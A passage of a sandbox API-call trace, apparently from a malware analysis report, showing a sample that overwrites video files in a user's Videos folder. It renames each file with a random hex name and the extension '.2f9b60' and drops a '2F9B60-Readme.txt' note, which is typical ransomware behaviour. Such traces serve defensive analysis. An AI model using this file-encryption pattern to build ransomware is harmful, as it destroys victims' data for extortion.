lpNewFilePointer=0x0) returned 1 [0122.180] WriteFile (in: hFile=0x1834, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x40f9f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x40f9f8b0*=0x116, lpOverlapped=0x0) returned 1 [0122.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d90 [0122.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d90) returned 1 [0122.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7d90 [0122.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7dc0 [0122.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8000 [0122.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8000) returned 1 [0122.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9c490 [0122.891] sprintf (in: _Dest=0x1cd9c490, _Format="%c%c" | out: _Dest="e4") returned 2 [0122.891] sprintf (in: _Dest=0x1cd9c492, _Format="%c%c" | out: _Dest="e0") returned 2 [0122.891] sprintf (in: _Dest=0x1cd9c494, _Format="%c%c" | out: _Dest="f9") returned 2 [0122.891] sprintf (in: _Dest=0x1cd9c496, _Format="%c%c" | out: _Dest="bf") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c498, _Format="%c%c" | out: _Dest="ba") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c49a, _Format="%c%c" | out: _Dest="78") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c49c, _Format="%c%c" | out: _Dest="31") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c49e, _Format="%c%c" | out: _Dest="68") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4a0, _Format="%c%c" | out: _Dest="86") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4a2, _Format="%c%c" | out: _Dest="51") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4a4, _Format="%c%c" | out: _Dest="a6") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4a6, _Format="%c%c" | out: _Dest="45") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4a8, _Format="%c%c" | out: _Dest="9f") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4aa, _Format="%c%c" | out: _Dest="7c") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4ac, _Format="%c%c" | out: _Dest="ff") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4ae, _Format="%c%c" | out: _Dest="c8") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4b0, _Format="%c%c" | out: _Dest="d3") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4b2, _Format="%c%c" | out: _Dest="3e") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4b4, _Format="%c%c" | out: _Dest="4b") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4b6, _Format="%c%c" | out: _Dest="73") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4b8, _Format="%c%c" | out: _Dest="fb") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4ba, _Format="%c%c" | out: _Dest="a0") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4bc, _Format="%c%c" | out: _Dest="b2") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4be, _Format="%c%c" | out: _Dest="64") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4c0, _Format="%c%c" | out: _Dest="ce") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4c2, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4c4, _Format="%c%c" | out: _Dest="e6") returned 2 [0122.892] sprintf (in: _Dest=0x1cd9c4c6, _Format="%c%c" | out: _Dest="45") returned 2 [0122.893] sprintf (in: _Dest=0x1cd9c4c8, _Format="%c%c" | out: _Dest="d4") returned 2 [0122.893] sprintf (in: _Dest=0x1cd9c4ca, _Format="%c%c" | out: _Dest="83") returned 2 [0122.893] sprintf (in: _Dest=0x1cd9c4cc, _Format="%c%c" | out: _Dest="0c") returned 2 [0122.893] sprintf (in: _Dest=0x1cd9c4ce, _Format="%c%c" | out: _Dest="a9") returned 2 [0122.893] sprintf (in: _Dest=0x1cd9c4d0, _Format="%c%c" | out: _Dest="da") returned 2 [0122.893] sprintf (in: _Dest=0x1cd9c4d2, _Format="%c%c" | out: _Dest="9a") returned 2 [0122.893] sprintf (in: _Dest=0x1cd9c4d4, _Format="%c%c" | out: _Dest="17") returned 2 [0122.893] sprintf (in: _Dest=0x1cd9c4d6, _Format="%c%c" | out: _Dest="8a") returned 2 [0122.893] RtlInitAnsiString (in: DestinationString=0x40f9f928, SourceString="e4e0f9bfba7831688651a6459f7cffc8d33e4b73fba0b264ce5ae645d4830ca9da9a178a" | out: DestinationString="e4e0f9bfba7831688651a6459f7cffc8d33e4b73fba0b264ce5ae645d4830ca9da9a178a") [0122.893] RtlAnsiStringToUnicodeString (in: DestinationString=0x40f9f8f8, SourceString="e4e0f9bfba7831688651a6459f7cffc8d33e4b73fba0b264ce5ae645d4830ca9da9a178a", AllocateDestinationString=1 | out: DestinationString="e4e0f9bfba7831688651a6459f7cffc8d33e4b73fba0b264ce5ae645d4830ca9da9a178a") returned 0x0 [0122.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b12d0 [0122.893] wcscat (in: _Dest=0x1cd65b80, _Source="e4e0f9bfba78316886" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\e4e0f9bfba78316886") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\e4e0f9bfba78316886" [0122.893] wcscat (in: _Dest=0x1cd65b80, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\e4e0f9bfba78316886.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\e4e0f9bfba78316886.2f9b60" [0122.893] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\e4e0f9bfba78316886.2f9b60", NtPathName=0x40f9f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\e4e0f9bfba78316886.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119240 [0123.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0123.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0123.222] NtQueryInformationFile (in: FileHandle=0x1834, IoStatusBlock=0x40f9f938, FileInformation=0x40f9f948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40f9f938, FileInformation=0x40f9f948) returned 0x0 [0123.222] NtSetInformationFile (FileHandle=0x1834, IoStatusBlock=0x40f9f938, FileInformation=0x40f9f948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65b80) returned 1 [0123.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b12d0) returned 1 [0123.239] FlushFileBuffers (hFile=0x1834) returned 1 [0123.246] CloseHandle (hObject=0x1834) returned 1 [0123.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad550 [0123.275] wcscpy (in: _Dest=0x202ad550, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.275] wcscat (in: _Dest=0x202ad550, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.275] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad550) returned 1 [0123.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 Thread: id = 1455 os_tid = 0x1910 [0120.122] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Uc2J0BjLvl.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\uc2j0bjlvl.avi")) returned 0x20 [0120.122] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Uc2J0BjLvl.avi", dwFileAttributes=0x20) returned 1 [0120.122] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Uc2J0BjLvl.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\uc2j0bjlvl.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1838 [0120.122] GetFileSizeEx (in: hFile=0x1838, lpFileSize=0x4106f960 | out: lpFileSize=0x4106f960*=60984) returned 1 [0120.123] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0xee34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.123] ReadFile (in: hFile=0x1838, lpBuffer=0x4106f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4106f928, lpOverlapped=0x0 | out: lpBuffer=0x4106f8e0*, lpNumberOfBytesRead=0x4106f928*=0x4, lpOverlapped=0x0) returned 1 [0120.124] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0120.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fd0 [0120.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0120.124] NtQuerySystemTime (in: CurrentTime=0x4106f820 | out: CurrentTime=0x4106f820*=132462177255250000) returned 0x0 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x165fd698 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x9a3843b [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x50d98608 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x5280b39c [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x5ef409ec [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x6dffe1d7 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x60d43ef2 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x8a174ed [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x6fb4e53c [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x495e2b5a [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x406ad2e1 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x77932ab2 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x4186d5bd [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x787d2be8 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x6074d7fb [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x37c8d010 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x5c488089 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x64a5c718 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x2224901f [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x74a859a7 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x540af145 [0120.124] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x3579dfbd [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x2f0ddff4 [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x42eb0598 [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x127607c9 [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x4a5882b6 [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x4a908e3d [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x38d21db9 [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x3642c8ac [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x7f8680d [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x163d0fb2 [0120.125] RtlRandomEx (in: Seed=0x4106f810 | out: Seed=0x4106f810) returned 0x2e37e9a4 [0120.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0120.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0120.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0120.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d00) returned 1 [0120.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20486ac0 [0120.132] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.133] ReadFile (in: hFile=0x1838, lpBuffer=0x20486ac0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4106f880, lpOverlapped=0x0 | out: lpBuffer=0x20486ac0*, lpNumberOfBytesRead=0x4106f880*=0x3c00, lpOverlapped=0x0) returned 1 [0120.133] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0120.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0120.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d00) returned 1 [0120.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2048a6d0 [0120.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0120.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0120.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0120.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0120.134] WriteFile (in: hFile=0x1838, lpBuffer=0x2048a6d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4106f880, lpOverlapped=0x0 | out: lpBuffer=0x2048a6d0*, lpNumberOfBytesWritten=0x4106f880*=0x3c00, lpOverlapped=0x0) returned 1 [0122.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2048a6d0) returned 1 [0122.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20486ac0) returned 1 [0122.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda04f0 [0122.182] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.182] WriteFile (in: hFile=0x1838, lpBuffer=0x167820*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x4106f930, lpOverlapped=0x0 | out: lpBuffer=0x167820*, lpNumberOfBytesWritten=0x4106f930*=0x10e, lpOverlapped=0x0) returned 1 [0122.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0122.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0122.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a76a0 [0122.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0122.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0122.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7eb0) returned 1 [0122.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd970d0 [0122.895] sprintf (in: _Dest=0x1cd970d0, _Format="%c%c" | out: _Dest="37") returned 2 [0122.895] sprintf (in: _Dest=0x1cd970d2, _Format="%c%c" | out: _Dest="51") returned 2 [0122.895] sprintf (in: _Dest=0x1cd970d4, _Format="%c%c" | out: _Dest="43") returned 2 [0122.895] sprintf (in: _Dest=0x1cd970d6, _Format="%c%c" | out: _Dest="0b") returned 2 [0122.895] sprintf (in: _Dest=0x1cd970d8, _Format="%c%c" | out: _Dest="44") returned 2 [0122.895] sprintf (in: _Dest=0x1cd970da, _Format="%c%c" | out: _Dest="5f") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970dc, _Format="%c%c" | out: _Dest="50") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970de, _Format="%c%c" | out: _Dest="99") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970e0, _Format="%c%c" | out: _Dest="54") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970e2, _Format="%c%c" | out: _Dest="03") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970e4, _Format="%c%c" | out: _Dest="e1") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970e6, _Format="%c%c" | out: _Dest="91") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970e8, _Format="%c%c" | out: _Dest="8f") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970ea, _Format="%c%c" | out: _Dest="72") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970ec, _Format="%c%c" | out: _Dest="31") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970ee, _Format="%c%c" | out: _Dest="03") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970f0, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970f2, _Format="%c%c" | out: _Dest="62") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970f4, _Format="%c%c" | out: _Dest="e2") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970f6, _Format="%c%c" | out: _Dest="78") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970f8, _Format="%c%c" | out: _Dest="9d") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970fa, _Format="%c%c" | out: _Dest="15") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970fc, _Format="%c%c" | out: _Dest="10") returned 2 [0122.896] sprintf (in: _Dest=0x1cd970fe, _Format="%c%c" | out: _Dest="2a") returned 2 [0122.896] sprintf (in: _Dest=0x1cd97100, _Format="%c%c" | out: _Dest="18") returned 2 [0122.896] sprintf (in: _Dest=0x1cd97102, _Format="%c%c" | out: _Dest="68") returned 2 [0122.896] sprintf (in: _Dest=0x1cd97104, _Format="%c%c" | out: _Dest="98") returned 2 [0122.896] sprintf (in: _Dest=0x1cd97106, _Format="%c%c" | out: _Dest="47") returned 2 [0122.896] RtlInitAnsiString (in: DestinationString=0x4106f9a8, SourceString="3751430b445f50995403e1918f7231035a62e2789d15102a18689847" | out: DestinationString="3751430b445f50995403e1918f7231035a62e2789d15102a18689847") [0122.897] RtlAnsiStringToUnicodeString (in: DestinationString=0x4106f978, SourceString="3751430b445f50995403e1918f7231035a62e2789d15102a18689847", AllocateDestinationString=1 | out: DestinationString="3751430b445f50995403e1918f7231035a62e2789d15102a18689847") returned 0x0 [0122.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20503910 [0122.897] wcscat (in: _Dest=0x1cd65970, _Source="3751430b445f50" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\3751430b445f50") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\3751430b445f50" [0122.897] wcscat (in: _Dest=0x1cd65970, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\3751430b445f50.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\3751430b445f50.2f9b60" [0122.897] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\3751430b445f50.2f9b60", NtPathName=0x4106f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\3751430b445f50.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x118bc0 [0123.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118bc0) returned 1 [0123.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47be0) returned 1 [0123.222] NtQueryInformationFile (in: FileHandle=0x1838, IoStatusBlock=0x4106f9b8, FileInformation=0x4106f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4106f9b8, FileInformation=0x4106f9c8) returned 0x0 [0123.222] NtSetInformationFile (FileHandle=0x1838, IoStatusBlock=0x4106f9b8, FileInformation=0x4106f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65970) returned 1 [0123.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0123.242] FlushFileBuffers (hFile=0x1838) returned 1 [0123.248] CloseHandle (hObject=0x1838) returned 1 [0123.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad600 [0123.276] wcscpy (in: _Dest=0x202ad600, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.276] wcscat (in: _Dest=0x202ad600, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.277] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 [0123.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b06f0) returned 1 Thread: id = 1456 os_tid = 0x1914 [0120.136] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\vRtzPJ5uqEr2d-.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\vrtzpj5uqer2d-.flv")) returned 0x20 [0120.137] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\vRtzPJ5uqEr2d-.flv", dwFileAttributes=0x20) returned 1 [0120.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\vRtzPJ5uqEr2d-.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\vrtzpj5uqer2d-.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x183c [0120.138] GetFileSizeEx (in: hFile=0x183c, lpFileSize=0x40daf760 | out: lpFileSize=0x40daf760*=85951) returned 1 [0120.138] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x14fbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.138] ReadFile (in: hFile=0x183c, lpBuffer=0x40daf6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40daf728, lpOverlapped=0x0 | out: lpBuffer=0x40daf6e0*, lpNumberOfBytesRead=0x40daf728*=0x4, lpOverlapped=0x0) returned 1 [0120.139] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.139] RtlAllocateHeap (HeapHandle=0xa0000, 